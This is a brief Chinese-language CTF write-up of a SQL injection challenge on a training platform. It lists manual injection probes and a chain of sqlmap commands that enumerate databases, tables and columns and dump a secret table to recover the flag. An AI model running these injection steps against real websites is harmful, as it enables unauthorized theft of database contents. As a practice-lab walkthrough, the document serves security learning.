- 為什麼要寫已經結束很久的題的 writeup：因為在做某 CTF 訓練平台的題
首先打開網站，是一個搜索界面，隨便搜索下，好像沒什麼反應：
試試有沒有注入：
- a'：空白界面
- a and 1=1：沒返回內容
- a and 1=1 and '%'='%：沒返回內容
好像沒啥可注入的，那看下包吧，上 burp，發現是 post 發包：
那麼存為 1.txt，用 sqlmap 跑：
python sqlmap.py -r 1.txt -p search --dbs
python sqlmap.py -r 1.txt -p search -D news --tables
python sqlmap.py -r 1.txt -p search -D news -T secret_table --columns
python sqlmap.py -r 1.txt -p search -D news -T secret_table -C "fl4g,id" --dump
得到 flag：QCTF{sq1_inJec7ion_ezzz}